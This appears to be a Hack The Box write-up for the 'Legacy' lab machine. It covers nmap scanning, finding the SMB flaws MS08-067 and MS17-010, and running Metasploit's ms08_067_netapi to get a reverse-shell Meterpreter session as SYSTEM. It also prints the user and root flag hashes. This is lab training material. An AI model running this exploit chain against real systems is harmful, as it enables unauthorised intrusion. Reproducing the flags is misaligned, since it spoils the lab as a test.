HTB-LEGACY

IP: 10.129.227.181

NMAP SCAN

-sV: show version running
-sC: run default scripts
-vv: very verbose (show results as they are found)

```
PORT    STATE SERVICE      REASON  VERSION
135/tcp open  msrpc        syn-ack Microsoft Windows RPC
139/tcp open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds syn-ack Windows XP microsoft-ds
```

Q1 How many TCP ports are open on Legacy?

3 ports open:

PORT 135
**PORT 139
PORT 445 - (SMB PORT)

Q2 What is the 2008 CVE ID for a vulnerability in SMB that allows for remote code execution

To find the vulnerability we can run the nmap command:

nmap -sV -vv -p445 10.129.227.181 --script=smb-vuln

Searching for smb vulnerabilitys we get the following:

```
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
```

Giving us the answer **CVE-2008-4250**

Q3 What is the name of the Metasploit module that exploits CVE-2008-4250?

If we search the CVE in Metasploit we get the **exploit ms08_067_netapi**

```
msf6 > search CVE-2008-4250

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
```

Metasploit Module

After selecting the module I change the RHOSTS and LHOST to the correct configuration and run the exploit.

```
View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.129.227.181
RHOSTS ⇒ 10.129.227.181
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 10.10.14.105
LHOST ⇒ 10.10.14.105
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.105:4444
[*] 10.129.227.181:445 - Automatically detecting the target ...
[*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.227.181:445 - Attempting to trigger the vulnerability ...
[*] Sending stage (176198 bytes) to 10.129.227.181
[*] Meterpreter session 1 opened (10.10.14.105:4444 → 10.129.227.181:1078) at 2024-07-24 21:10:17 +1000

meterpreter > shell
Process 520 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

Q4 When running the exploit, what user does execution run as?

Once we have the shell we can run the command **getuid** to get the user id.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Q5 / Q6 USER AND ROOT TXT

using the command type **\"Documents and Settings\john\Desktop\user.txt** and type \"Documents and Settings\Administrator\Desktop\user.txt we are able to receive both user and root.txt

```
type \"Documents and Settings\john\Desktop\user.txt
e69af0e4f443de7e36876fda4ec7644f
C:\WINDOWS\system32>
C:\WINDOWS\system32>type \"Documents and Settings\Administrator\Desktop\root.txt
type \"Documents and Settings\Administrator\Desktop\root.txt
993442d258b0e0ec917cae9e695d5713
```

Q7 In addition to MS08-067, Legacy's SMB service is also vulnerable to another remote code execution vulnerability with a CVE ID from 2017. What is that ID?

From my NMAP scan from before we can also see that the box is vulnerable to exploit **CVE-2017-0143** which was used for the famous **WANNACRY** hack.

```
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
```